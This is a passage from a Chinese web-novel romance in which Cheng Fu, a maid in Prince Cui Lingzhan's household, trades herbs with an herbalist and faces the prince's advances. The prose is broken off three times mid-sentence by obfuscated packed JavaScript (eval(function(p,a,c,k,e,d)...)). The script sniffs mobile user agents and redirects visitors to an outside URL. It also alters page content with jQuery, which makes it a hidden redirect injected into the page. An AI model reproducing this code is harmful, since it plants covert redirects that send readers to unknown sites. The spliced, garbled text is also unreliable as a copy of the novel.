冻疮而已,现如今吃得饱穿得暖,只需生姜片配合温盐水洗护就能解决,她疯了才用薄荷蛇油。 次日,医婆就帮程芙卖了个好价钱,三七分账,程芙拿到了七分:四钱银子和苦参蛇附子。后者回去熬汤泡手,冻疮好得更快。 医婆笑眯眯道:“能进主子院里服侍的哪个不是隔三差五有赏,以后有了好东西记得找我,我帮你卖。” 说是三七分,实则是五五分,医婆不可能不贪点,程芙也知她贪了,没四六分账已经算有良心。 求人办事就要做好吃点小亏的准备。 毕竟她在这王府仿佛聋了瞎了,对外界一无所知,医婆是她接触外界不可多得的人选。 程芙继续给医婆煮茶,她煮的茶没有一丝苦涩味,火候拿捏得极好。 医婆就好这口,心情大悦之下总算肯把《脉经》借给程芙读两日。 严格地说这是一本残缺的手抄版《脉经》,聊胜于无,看一点是一点,程芙为此花了许多心思讨好。 “多谢大娘疼我。”她莞尔。 正逢落日霞光,照着含笑的美人儿,鸦青的头发黑亮美丽,小小的脸庞灿若海棠。 医婆啧啧称赞。 程芙:“方才的人怎来这里跟您取药?” 喝茶的时候闲聊很正常。 医婆道:“那是荀御医身边的小厮,来问我借几味本地的药材。” 程芙想了想,道:“昨日我见到了王爷,精神饱满,想来这位荀御医医术了得。” 她学规矩那会儿毅王尚未痊愈,荀御医便是朝廷派来侍疾的。 “是呀,不愧是御医,咱们医婆学一辈子都比不得人家分毫。”医婆感慨,为自己东学西凑的小技艺唏嘘,转而又道,“可惜王爷还是痊愈晚了一步。” 说着,医婆凑近了压低声道:“上个月,邱家坏了事。” 程芙:“哦?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422424|184773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “听说江浙的粮商联名状告京师的皇商,罪名叫什么垄断米价,丰年足雨的,饿死了不少百姓。” 被告的皇商恰巧是邱贵妃的从兄。 这下邱贵妃哪还有心思举荐侄女,只忙着脱簪请罪去了。 毅王又失去了一门钟鸣鼎食之家的姻缘。 还真是倒霉。 程芙附和医婆,跟着叹气:“哎,可不是。” 冬月初九这晚程芙守夜,其实就是走个形式,睡在离毅王最远的小抱厦。没她什么事,但别的二等婢女都当值过,总不能叫她闲了。 是夜戌正,崔令瞻裹着群青色的杭绸寝衣从浴房走出,墨发如云垂泻,光影流淌,半明半昧。 他天生白皙,唇如渥丹,好在一双凤目生得极威严,莹亮如电,弱化了脂粉气,平添凌厉阳刚。 小厮将灯树熄了,只留了梅花小高几上一盏鎏金灯,镂空的灯罩透着微弱的光,不扰人,又能让人在黑暗中不至于全盲。 被褥早先铺好,崔令瞻掀开坐进去就听别鹤在帐子外道:“王爷,方才薛姑姑让小的禀告您一声,今夜是芙姐姐当值,您有什么需要她都会来的。” 将满九岁的小厮能懂啥,薛姑姑叫他这么回话他就这么回了。 他懂不懂的不要紧,反正王爷听懂了。 崔令瞻上一刻还张弛有度的心脏陡然狂跳,连呼吸都发热。 可以吗? 他可以要她吗? 各种乱七八糟的画面纷至沓来。 然而在柿子树下做的决定也不合时宜地叫嚣:你不是说要忘了她,不是说不想为难她,你现在是想做什么? 可她又非清白之身,委身他哪里吃亏了?事后他定会补偿她,即便她想嫁人,他也给她找个纯良之人,再补偿她一笔嫁妆。 倘她嫌避子汤伤身,他也不介意用其他法子,太医院做的避火衣薄如蝉翼,本身已无异味,还可再熏香…… 崔令瞻被自己刹不住的周密想法震住,僵着身子躺下,闭上眼,不愿接受自己其实也是个贪花好色之人。 甚至不挑食。 他不能再放任自己过多关注那种姑娘。 别鹤挠挠头,王爷方才还好好的,听了他的话突然不吭声,好半晌才回了他两个字“出去”,吓得他一溜烟跑了。 同一片月光下,程芙蜷缩在被窝,睡得并不好,薛姑姑此前吩咐了,若得毅王召见就乖乖应召,不准说话也不准乱动,还给了她一张云雨图。 此时门外稍有风吹草动,她就绷紧了肌肉,后来累极了也就睡了,只天不亮从噩梦中惊醒。 她抹了把额头,全是细汗。 梦里徐峻茂背着她疯狂逃跑,后来磕了一跤,徐峻茂就变成了崔令瞻的嘴脸,一手按住她一手撕她衣裙。她不停道歉,求他可不可以换个方式惩罚她,不要欺负她了,他不听,直把她摧残成泥。 当然,这只是她的一个噩梦,日有所思夜有所梦罢了。 事实上毅王并无兴趣召她,任她安然无恙睡到天亮,天亮后也没人安排她去伺候毅王起身。 只有她一个人杯弓蛇影,胡乱忖度。 推开房门,她又发现整个院子就自己无事可做。 程芙只好趁绿娆经过的空隙打招呼,绿娆点点头,说:“回去吧,值过夜的就可以休一日。” “嗯好。”程芙微微欠身,作辞而去。 院中人来人往、各司其职,无人关注她,于是她加快了离开的脚步。 绿娆偏过头,发现了东次间窗后伫立的毅王,视线定定锁着程芙的背影…… 她心头一紧,整理了一下表情再偷眼瞄过去,半敞的宫式和合窗已变得空荡荡。 8. 第 8 章 自从提了二等,程芙就从后罩房最偏僻的一角挪到了最前排的一楼。 逼仄阴湿的小房间换成了阳光充沛的大房间,连呼吸都变得清畅,窗前还有高大茂密的芭蕉树遮阴。 同屋另外两个女孩也是二等,亲娘老子住在一进院倒座房前面的奴仆院,属于家生子里头比较体面的住宅区。 这二人算有背景的。 不过再有背景也是奴婢,做奴婢就没有躲在屋里享清闲的道理。她们和程芙鲜有机会照面,遇上了不是回来睡觉便是浣洗去,点个头就算打了招呼。 程芙亦如此。 进屋她就套上家常的旧衣裙,再端起盛放脏衣的木盆去耳房浆洗,回来的路上两手冻得通红。 也不是没有伶俐的小丫头主动要帮程芙分担,却都被她以不合王府规矩婉拒了。 阿芙姐姐素来老实本分,小丫头们只得作罢。 倒也不是程芙清高不知变通,实在是有些空子钻多了只会让人不知不觉陷入底层的优越感,磨平了心志,不再锋利。 一个人若是不想被周遭同化,就得时刻提醒自己是谁,处在怎样的樊笼中。 才晾晒好衣物,就有小丫头跳窜窜过来告诉她:“姐姐姐姐,付大娘叫你过去。” 医婆姓付,这里人都跟她叫付大娘。 程芙忙擦了擦手,把木盆挂在墙上就去了。 她知道付大娘那边有体力活,就没换体面的衣裙,只包了头发匆忙赶过去,走的夹巷小路,不碍人眼。 生药馆里,付氏弓着腰吭哧吭哧研磨艾叶。 仓库的三年陈艾越来越少,她得趁天气干冷阳光充裕再筛些艾绒。 程芙一脚踏进院子就瞧见两大筐干艾叶。 付氏朝她招招手,“阿芙来了,快把这筐磨了,我请你吃饭。” “好嘞。”程芙笑应。 卷袖就地开始忙碌。 这一忙从白天忙到黄昏,因中午随便对付了一下,晚膳就格外丰盛。付氏买了葱烧羊肉和菘菜豆腐,程芙煮了一瓦罐阳春面,两人吃得干干净净,一点不浪费。 明儿要当差,程芙没敢吃太饱。 在主子跟前服侍最忌讳吃太饱以及吃气味重的食物。 付氏就没有那些烦恼,她心满意足,摸着肚子道:“你这样也不是全无好处,至少身段儿苗条。” “太苗条了又不是什么好事。”程芙说,“打架都打不过旁人,也不抗揍。” 一听就是有故事的,可也是常态。孤女能全须全尾活这么大已经是奇迹,付氏道:“嗐,那你以后多来帮我干活,权当锻炼身子骨,准能练出一身力气。” “您这是诓我呢。” “这孩子,身子骨本来就是越练越好的,怎能说我诓你。” “是是是,大娘您说的都对。” 天色已晚,程芙帮付大娘收拾好碗筷就要回去了。 付大娘提着灯笼送她。 一老一小踩着咯吱咯吱的雪跨过门槛,程芙接过灯笼,柔声道:“天冷,您留步,我自己回去了。” 两人这才相互道别,一个回屋,一个往后罩房走去。 次早程芙揉着眼睛当差,昨晚读《脉经》不知不觉读到了天色发白。好在她是个边缘人,来这里就是充数的,根本没什么正经事做。 崔令瞻上午见客,一直待在银安殿,下人们默认他午后也要在银安殿休息,便焚香铺床,就见别鹤走过来道:“王爷要回去了。” “啊?”内侍挠挠头,“哦,好。” 月地云斋那边也以为王爷会在银安殿用膳休息,没想到银安殿的小厨房就把午膳送了过来。 厨房妈妈道:“王爷就快回来了。” “辛苦妈妈了。”木樨忙迎上去,吩咐其他人把午膳捧回西次间,又再次谢了厨房妈妈。 不到半盏茶,崔令瞻果然出现,身披羽缎大氅,一阵风雪拂过,露出了里面天水碧的素锦搭护,内衬薄青杭绸贴里。 他鬓边的碎发以黑缎额带抿得一丝不苟,缎带的碧玉珠串坠脚垂落肩膀,随着他的走动微晃,冰雕玉琢似的一个人,宛若梅雪仙露生出了魂。 尽管不是第一天服侍毅王了,婢女打眼望过去,还是会微微闪神,但月地云斋从未出现过拿错了主意的人。 毕竟能进这里的她们本身就有相当的心智,非常清楚自己的定位。 毅王最不喜水性杨花、自轻自贱的女子,想要他的尊重与怜惜,起码得端庄持重。 于是满院子婢女举止端端正正,言行规规矩矩。 今日木樨在前面服侍,她挑起锦帘,崔令瞻低头迈了进去,其余婢女上前为他脱下氅衣,他头也不回进了东次间,程芙就被抓个现行。 无事可做的她在东次间擦花瓶插花,把所有花瓶都擦得一尘不染,然后就坐在脚踏上打盹。 木樨动了动嘴唇,想要提醒阿芙一声,瞅见王爷脸色她立即噤了声,还往后缩了缩。 崔令瞻走过去,一手捻着墨玉十八子,一手负在身后。 她睡得很香,两只小手儿的冻疮并未痊愈。 给她蛇油他就想到一个可能,她定会拿去卖钱,果然她就真卖了。 他视线上移,落在了她微启的红唇,目光骤凝了片刻,复撇开了头。 偷偷打个盹儿,程芙慢吞吞睁开眼,当即被对面坐着的男人吓了一跳,“王爷。” “嗯。” “……” 崔令瞻像是抓到了她什么不得了的把柄,身体微往前倾,眉宇间竟有一丝得意。 “睡得可还踏实?”他眼角上扬,两手按在膝上。 程芙忙站起身,攥着自己的手,轻声道:“奴婢知罪,请王爷责罚。” 那温顺的模样宛如一阵凉风,把不知名的幸灾乐祸吹得无影无踪。 崔令瞻一顿,沉声问:“昨日一早就没见到你伺候本王。休息了一天忙的什么,困成这般?” 程芙扫了崔令瞻一眼,拿不准他的喜怒,谎话便张口就来,“回王爷,十五将近,奴婢想在通福寺烧几份经书为苏姑娘修功德,于是昨晚才抄得忘了时辰……” “阿嫣不需要你来抄经书,她的冤屈,本王自会用伤她之人的血渡她往生。” “……”程芙的后脖颈霎时绷得紧紧的。 “至于你,伺候本王便是赎罪。” “是,王爷。” 此后再无二话,他与她陷入了一阵漫长的死寂。 崔令瞻直直地注视她。 她又把衣角攥成了团,紧张的时候就会这样。崔令瞻不知道该说什么,她好像误会了他的意思,他没说要杀她。 可他不是一直在有意无意恫吓她吗? 并且达到了目的,为何还失落? 崔令瞻缓缓抬臂,将她拉至身前,轻轻分开那双攥紧的手,指腹压在了她冻疮的附近。 木樨用眼神点了点另外两名婢女,随自己悄然退了出去。 程芙低着头。 屋外有细雪飘落,屋子里心思隐秘。 婢女的离开意味着什么,程芙一清二楚。 正常情况下婢女小厮不会因为另一个同等身份的下人而专门避让的,除非男主人想做点什么。 然而等了许久,也不见崔令瞻动作,程芙绷紧的肩膀稍稍松弛,忽听他嗤声道:“你还是没学会如何伺候人。” 他坐了那么久,她都不知为他倒杯茶。 程芙想为他斟茶的,可是手在他掌中,力道大得抽不出。 她提议:“王爷,松开奴婢才好为您沏茶。” 崔令瞻:“不喝了。” 程芙:“……” 他命候在外面的小厮取来蛇油,打开珐琅盒盖,挖出一点,旁若无人地为程芙擦涂。擦得那么认真,就像她方才擦月牙桌的花瓶。 小厮机灵,低头溜了。 “程芙,你若想本王每日亲自帮你,就只管把这盒也拿去卖了。” “以后不会了。” 太过柔腻的肌肤,蛇油一沾即融,才涂了两圈便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“既教了,为何要躲?” “回王爷,奴婢尚未沐浴,王爷要的话不如先命人烧些水。” 帏帐之内的事,女子要承受的负担远大于男子,稍有不洁就可能罹患妇人病,程芙尽可能不让自己受伤。 况且洗干净了于他的感受也有利。 崔令瞻错愕了一下,双耳迅速泛红,一张脸烫到了极致。 他不是要与她云雨,他只是想尝尝那两片红唇的滋味。 没想到被拒绝了。 她同意与他云雨却不给他碰她的唇。 崔令瞻败下阵,狼狈地坐在了西次间,明瓦窗外的雪越来越大,从屋里望过去朦朦胧胧,仿佛隔着一层月影纱。 稍一用力就能推开窗,凉气直扑面门,不远处的廊下,程芙正坐在小杌子上捏雪团,面若芙蕖,眸如秋水,十分的纯净,朝向他的小耳朵冻得通红,附近的疤痕尤为刺目。 无不在提醒他来时的路。 崔令瞻缓缓垂下眼帘,合上窗。 内心深处的某个角落也在隐隐发酸。 木樨看在眼底,凑近别鹤耳边小声嘀咕几句,别鹤眨了眨懵懂的大眼睛,就退出了房间。 九岁的孩子自然无法理解男女暗流涌动的推拉,他只是信任木樨姐姐,也确实觉得王爷会因为阿芙姐姐舒服而心情好。 王爷对阿芙姐姐说话的腔调都跟其他姐姐不一样的。 “阿芙姐姐,外面冷,木樨姐姐叫我陪你去茶水房用饭。”别鹤笑眯眯的,“那里暖和。” “不用等木樨她们吗?” “不用的,咱俩一起吃。” 程芙这才起身往茶水房走去。 她离开不久,一只凝白的大手捡起她丢在地上的雪兔子。 胖乎乎的,圆圆的。 9. 第 9 章 用过午膳,毅王在暖阁看书,留了两个伺候的,其余人守在茶房和次间,又暖和又不耽误事。 程芙自觉站进了次间。 今日她在毅王的兴头上捋虎须,明知他就是想找个工具宣泄一下,却故意说那些刺耳的话恶心他,让高傲的他箭在弦上发不得,咽不下,气坏了。 从长远来说吃亏的肯定是她。 可她又不得不去试探崔令瞻的底线。 这里不是徐知县的家,是广阔了数十倍也牢固了上百倍的樊笼。 她走的每一步都似踩着危崖钢丝,命悬一线,没有试错的机会,更没有人为她兜底。 掌握毅王的性格和底线是她必备的生存技能。 她也不觉得自己该为即将发生的失贞而羞愧。 因失贞流出的血液,与被拳头击中的嘴角、鼻孔溢出的鲜血并无二致。 该羞愧的应是让她受伤流血的人。 经此一试,程芙总算确认了毅王并非暴戾之人,至少在极度难堪的情况下他也不会因恼羞成怒而对底层大打出手。 他是一个情绪稳定且骄傲的权贵,又是大昭唯一受封亲王的皇孙,才能与智慧毋庸置疑。 程芙看不上他但也不会轻视他。 暖阁的门被人拉开,走出了嘴角含笑的木樨,手里还端着个托盘,她将门扉关好,这才脚步轻快地朝程芙走去。 “阿芙,过来吃些茶点。”木樨把托盘放在临窗的炕桌上,盘中摆着三碟精致的糕点。 程芙:“木樨姐姐先用吧,你忙了半晌,最是辛苦。” 一等婢女可不是那么好当的,拿着王府数一数二的月例,吃穿用度精致奢侈,肩膀要承担的自然也比旁人更沉重。 没点脑子和能力还真做不好。 “傻丫头,我用过了。”木樨笑道,“这是王爷赏的,人人有份。” 程芙没想到脸都气青了的毅王转头就消了火,还赏大家点心吃,连她也有份。 一时没反应过来。 木樨拉着她的手坐下,还给她盛了一碗紫苏杏仁酪,“王爷一向用得少,丢了浪费,可不就便宜了我们,以后这样的事常有。” 程芙便谢了王爷恩典也谢了木樨,又邀别鹤过来一同吃,别鹤连忙说自己也用过了。 在王爷跟前的小厮,正是长身体的年纪,还真不缺零嘴,只不过那碗杏仁酪不是给别鹤吃的,别鹤瞅了木樨一眼便了然于心。 坐了会儿,暖阁里传来些微动静,木樨起身道:“我先回了。” 程芙:“姐姐慢走。” 木樨回去后,发现毅王正站在窗前浇花,遂上前福身道:“回王爷,点心很好吃,大家都喜欢,阿芙也吃了许多。” 崔令瞻:“本王没问你这些。” 木樨告罪道:“是奴婢多嘴了。” 然后王爷就没再说什么,脸色倒是肉眼可见地放了晴。 天越来越冷,月地云斋的下人衣着单薄在暖和的屋里当值,下了值则会披一件厚厚的斗篷,最是舒适。 程芙裹着长及脚踝的桃红色斗篷朝角门走去。 普通衣料的桃红色呈现的并不完美,远远达不到艳而不俗的脱尘感,婢女们喜欢用清丽的刺绣来装点稀释,偏程芙的从头素到尾,发下时什么模样现在就什么模样。 倒不是她独树一帜,实在是没有钱,自己又不通女红,再加上心里装着事,就更打不起精神关注不重要的细枝末节了。 可她穿着桃红色的斗篷踏入院中,夕阳炽烈,余晖缥缈,透过花树洒了她一身清光黯影,尘世似乎都变得不一样了。 崔令瞻的眸中映着她越来越清晰的脸庞。 程芙心下警惕,却抿了一抹温柔的笑意,婉声问安:“见过王爷。” 崔令瞻淡瞥她一眼,扭过头。 程芙见旁人下值遇到他都是问个安,若无吩咐就如常退下的。她等了须臾不见他搭理自己,就当是没有吩咐了,于是再一福身,欠着身子安静地退下。 崔令瞻一怔,忙回身望着她,只余一抹桃红色的背影。 木樨咧了咧嘴,不动声色避进屋里。 回去的路程芙特特绕个弯儿经过生药馆,从袖中掏出包了两层帕子的点心,递给付大娘:“王爷今天赏的,正新鲜,您尝尝。” 付大娘笑得合不拢嘴,“这孩子,过来就过来,带什么东西。” 程芙:“主要是好吃,也不知什么做的,入口即化,绵软清甜,裹着栗子仁,还有玫瑰的香味呢。” 付大娘被她说得不禁口舌生津,心里乐开了花。这样的点心凭她一辈子都吃不上,就算吃上了也跟王爷小厨房做的不一样。 一个主动孝敬,一个很是受用,关系不知不觉又拉近几分。 付大娘暗忖程芙是孤女,身边没个长辈教导,难免吃亏,遂斟酌道:“其实你不说,旁人也猜得出一个无根无基的女孩子突然升了二等婢女意味着啥。” “嗯。”程芙大大方方承认,“确实是大家想得那样。” “那你可得为自己将来好好打算。大娘也不问你出身,只跟你啰嗦几句,你随意听一听,记不记的在你。”付氏谆谆道,“你要是出身清白就抓住机会,服侍王爷的时候多多奉承,好歹让王爷给你抬个妾。” 程芙是有些傲气的,付氏早瞧了出来,“切莫小看小夫人这个位子,但凡你生个一儿半女还怕王爷忘了你?王爷从手指缝随便漏点,都够你富贵一辈子。” 女人活着不就图个平安顺遂、衣食无忧吗? 程芙往泥炉加了把碳,边添水边道:“王爷不会纳我的。” “啊?”付氏大惊,“为何?” “我得罪了他,出身也不入他的眼。” “啊这,嗐,男人嘛,什么得不得罪,你姿态放低些,撒个娇哄哄就能化解的。” “化解不了,他媳妇打我的时候我还了手。” 付氏瞠目结舌,好像听清楚了每一个字,又总觉得是在听天书。 不是,王爷哪来的媳妇? 她结巴道:“那……那多捞点钱。他一个王爷,不至于白睡姑娘家吧?” “有点悬,他挺吝啬的。”程芙淡淡道,“我才卖了一盒蛇油就被他警告了。” 付氏:“……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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付氏口中的“百晓通”俗称“包打听”,他们通过特殊的门路寻人,手段炉火纯青,开价也高得离谱。 张口就要十五两,可见一斑。 便是程芙现在的月例全攒起来也要十个月,普通百姓就更不用提了。 翌日天空又飘了半个时辰的乱琼碎玉,绿娆得知程芙昨日惹王爷不开心,就叫她去梅林扫一壶枝头新雪。 把她支开了,免得再触王爷霉头。 等过两日,事情淡了,自然也就揭过去。 程芙晓得绿娆的用意,提了粗陶壶就去做事,哪料还未出庑廊就与王爷狭路相逢。 她抱着陶壶避让,轻声道着万福。 崔令瞻仿佛忘了昨日的不快,问她:“去哪?” 程芙:“回王爷,奴婢去梅林。” “手。” 程芙伸给他一只手,被他握在了掌心。 她柔软温和,手却凉得像块冰,而他不近人情,掌心竟滚烫干燥如火。 崔令瞻仔细检查了那只冰凉的小手,冻疮的颜色浅淡些许,想来认真涂了药膏。 绿娆以手搭在额前眺望对面的王爷和程芙,没想到这都能撞上,要不要上前帮忙打圆场? 念头一起,她疾步过去,方才看清两人的手正交握在一处,吓得她连忙拐个弯折返回去。 10. 第 10 章 杵在毅王身后的内侍眼观鼻鼻观心,甫一瞅准时机就上前接过程芙的陶壶,笑吟吟道:“姑娘歇着,我来拿。” 程芙认得这人,叫墨砚,常伴毅王左右。她瞥向崔令瞻,嘴唇微微一启。 崔令瞻连眼皮也未抬,注意力仿佛都在她纤秀的手,翻完右边又翻左边,有种细致的温柔。察觉到程芙的视线,才淡声道:“雪霁初晴,幽香破寒,明日方是赏梅最好的日子。” 程芙:“……” 他又说:“你明日再去。” “奴婢不赏梅,就是扫个雪。” “本王今日要见不少人。”崔令瞻打断她,“明日此时,多穿些,随本王去梅林。” “王爷。” 崔令瞻掀起眼皮,目光冷冷投向她,“你有何异议?” 程芙拒绝的话就顿在了舌尖,而后一笑,“您想赏梅吗?” “你不想?” 不想。她怕冷。但毅王的眼神和语气都透着不善,程芙缓缓道:“想。” 闻言,崔令瞻的眉眼冰消雪释,语气浸着不为人知的温存,低声道:“晚上过来找我,为本王研墨。” 他握住的那只手明显僵硬了一瞬。 程芙:“是,王爷。” 今晚又轮到她值夜,便又能进他的书房了,似乎也没想象的难进。至于进去后将发生什么,她早已了然。紧张和惶恐在所难免,但也没到令她破碎的地步。 崔令瞻松开程芙,负手信步离开了月地云斋。 双手甫一获得自由,寒冷侵袭,凉风凛冽,刮在肌肤上,割裂般得疼,程芙打了个冷颤,安静望着崔令瞻离开的方向,默立须臾也离开了。 毅王自洽的速度远远超过了她的预期。 只过了一天,他便能自然而然地玩弄她双手,不再脸红。 需求和爱慕是两码事,在需求面前,哪怕是再低贱的女人,他也想睡。 毅王不过如此。程芙笑了笑。 崔令瞻的耳廓通红,走出一段距离忙用力扯松狐裘斗篷的缎带,任烈风灌入,滚烫的思绪适才清醒些许。 银安殿,朝廷前来移咨的特使发现毅王,忙迎上前拱手作揖,两下里寒暄几句。 毅王的情绪似乎有些低落,不怎么高涨,特使遂长话短说,按部就班交割兵部公牍,末了抱拳揖礼笑道:“恭喜王爷重掌燕西军,有王爷坐镇燕西实乃我大昭之大幸。” 崔令瞻唇角微牵,“劳特使代本王叩谢皇祖父圣恩。” 特使领命,又道:“皇上固然慧眼识珠,王爷您亦是实至名归的。” 说罢,再瞄了眼毅王的神情,识趣道:“王爷日理万机,若无其他吩咐,下官便不多叨扰,且先告退。” 崔令瞻颔首。 退去的特使,右脚刚一迈出二进院就瞧见一圆头大耳、衣着华丽的中年男子走了进去,边走边与王府的长史官说笑。 仔细回忆了下,特使认出那是苏家二房的老爷,托毅王栽培的福,如今就任燕阳府同知。 可怜苏阁老显赫一时,身后竟无一能支应门庭,若无毅王,怕是都要打回原籍了。从另一方面来说,说明苏家长房命好,没有做毅王岳丈的命,倒是享了半个岳丈的福。 连带着苏二老爷借光。 苏二老爷紧张得掌心潮湿,自阿嫣去世,毅王的心思越来越难猜,前头为她申冤做主,转脸就打杀了她生前最爱的婢女蓝雪。就这,家里不懂事的闺女还天天闹,铁了心要嫁进毅王府。 明知痴人说梦,他还是忍不住存了丝幻想,照常过来问安,以保王爷记得他这个人。 可惜这次见到的依然是凌云,依然婉拒了他带来的厚礼。 将来迎娶新王妃,怕是就更记不起苏家了,要记也只会记大哥。苏二老爷悻悻然,在心里咒骂不争气的闺女,攀不上的高门非要硬攀。 打发走苏二老爷,凌云眼底的笑意就化成了霜雪,冷哼一声。 长史心里有数,对凌云笑笑:“下回我亲自打发他。” 怎么能不恨?那六人都是凌云在军营摸爬滚打一起闯出来的,为了挣份军功娶妻生子,不远千里以命护送苏姑娘来燕阳,谁能想到没死在贼匪手中,反倒被自己人用下三滥的手法毒死,无一活口。 原来宣阳遇劫另有隐情,贼匪头目对倾国倾城的苏姑娘垂涎三尺,不忍下手,便想将人强占了再来个金蝉脱壳,未料美人的护卫身手不凡,杀得贼匪片甲不留。 苏家非但不感恩,反倒思忖六人目睹了未来毅王妃遭贼人摸手揽腰,叫王爷知道了还得了,毕竟贵女的声誉比命都重要,思前想后的,苏家人便拿错了主意,手段之狠辣,令人发指。 主意是蓝雪出的,动手的也是她,可凌云心里清楚凶手不止一个的,他愈想愈恨。 苏家,除了苏公和苏姑娘再无一个好人,烂透了。 处理完公务,“痊愈”的毅王携亲卫去了趟军营,直至掌灯时分才归。 其实他也可以不归的。 可他有些话想同程芙说,说清楚了,方能使她知道他并非为难她。 夜色浓酽,庭院里的名贵花草已被下人收回屋中,余下略显单薄的树影。崔令瞻从月光里走来,离门口越近心跳得就越快。 内侍打起帘子,他深吸一口气迈了进去,烛影朦胧的次间飘来熟悉的暖香和一抹陌生的娇柔气息,他走过去,分开珠帘,果然是程芙。 她应是才沐浴过不久,发丝尚带着潮气,却挽得整整齐齐,雾一般的水眸朝他望过来,似有盈香扑面。 崔令瞻喉咙发痒,后退了一步,没说什么,转身离开。 沐浴完,他也未回去,而是独坐书房的禅椅,看了许久的书,等心静下来。 不过静不静的程芙都会来到他身边,即便她不会,薛姑姑也会让她来的。 崔令瞻一眨不眨望着推门而入衣着单薄的程芙。 “王爷,姑姑吩咐奴婢来服侍您用养神汤。” 崔令瞻点点头,目光随她的不断靠近而慢慢上移,她很柔和顺从,并没有他想象的羞涩与恐惧,走近了,微微弯身将玉碗放置他手边,沐浴后独有的湿润香气也钻进了他的鼻腔。 馥郁中有一丝甜,不知名的香气。 崔令瞻站起身,程芙后退了一步,他便不动了,向后倚靠檀木桌案的边沿,端详着两手叠在腹部的她。 突然他又上前一步,她下意识后退半步。 十分有趣的反应,崔令瞻莫名的兴奋,故意又迈上一步,这次她没退,垂眼攥紧了手。 直到他们之间的距离仅剩一拳。 他恍然发现她竟是如此娇小, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422427|184773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身形被他完全笼罩了,仿佛站在笼中的小鸟。 这个年纪应还会再长高些的。 程芙呼吸轻缓,盯着他衣襟精致的苏绣。 崔令瞻俯身将她抱起,轻得像一团绵云,使他有一瞬慌乱,不知该如何发力,重了怕伤到她,轻了又担心拢不住。 他将她放进了禅椅,她应是有一些紧张,全程闭着眼,右手无意识地搭在他肩上,像是维持平衡,也像抗拒。 “王爷,您要在这里吗?” 程芙不会反抗不代表不知道难受,禅椅极硬,她十分不适,无法想象他压下时将带来怎样的痛苦。 崔令瞻“嗯”了声。 程芙问:“奴婢可不可以躺在榻上?” “也行,只是那样谈话有点怪。”他淡淡道。 程芙:“……” “王爷想跟奴婢谈什么?”她问。 崔令瞻与自己妥协了。 他将还她自由,认真为她的将来考量,必不叫她落入摧花之人手中,甚至要为她寻一门读书人或者武将的亲事。 而她,只需陪他一小段时间,或者几个晚上。 “我不强迫你。”他凝眸看着她,专注且认真,“只是一桩公平的交易,决定权在你手中。” 程芙:“好。奴婢听着。” “本王不会给你名分。其他的,你要什么都可以商量。”他柔缓道,“本王要什么,你懂吗?” 程芙咽了下,似是在努力思考他的话,少顷,回:“奴婢懂。” 她抿了抿唇角。 崔令瞻也抿了抿唇角,“……” “奴婢用心服侍的话,就能拿回身契对不对?”她的眼睛亮亮的,像是星星在灯火里跳跃。 到底是年纪还小,过分的期待终于泄露出一丝天真。 崔令瞻从未见过这样的她,有点可爱又有点可怜。 “嗯。”他说。 “那今晚过后王爷是不是就对奴婢满意了?” 崔令瞻:“……” 程芙意识到自己问了个傻问题,只一晚怎可能够?他明显是要盛宴,要大快朵颐,要美人驯服的快意。 只一晚还不够塞牙缝的,他又不缺女人。 程芙调整了一下姿势,垂眸解自己的裙子,崔令瞻回过神,勃然失色,喘息都有些不稳,斥道:“放肆。” “……?”程芙手一抖,怔怔望向他。 他都还没有告诉她将许她多少金银,问她想嫁文人还是武将,她就同意了? 怎能如此廉价?对徐峻茂如斯,对他亦如斯。 崔令瞻双唇翕张,继而抿紧,眨也不眨瞪着她,险些脱口质问:他算她的第几个男人? 可喉咙里仿佛堵着一团潮湿的棉絮,沉甸甸的,开不了口。 他与她,隔着灯色与阴影相望,呼吸近在咫尺却宛如相隔一整片汪洋,寂静无言。 寝衣下叫嚣多时的觉醒渐消,变得安分。 好一会儿,崔令瞻才找回了自己的声音,略有些暗哑和疲惫:“去帮本王换一炉香。” “是,王爷。” 程芙没有多问,忙把衣结重新系好,仔细整理了衣襟,才捧着小小的鎏金香炉朝他福身,冉冉退下。 再回来,书房空无一人。 毅王已经走了。 11. 第 11 章 想要的人是他,还未开始突然离场的也是他。程芙猜不透毅王葫芦里卖的什么药,遂不去深究,兀自回屋睡了一个好觉,天不亮起身。 冬夜漫长白昼短,每个下人都如此。 她收拾好自己,用过饭,喂那只白凤头鹦鹉粟米时,它突然开口说话了。 它说:“贱婢,贱婢,贱婢。” 程芙本来温柔到发光的笑容,在听清它说的话后霎时僵住,仿佛被人点中了死穴,连呼吸都凝固了,一层一层结了霜。 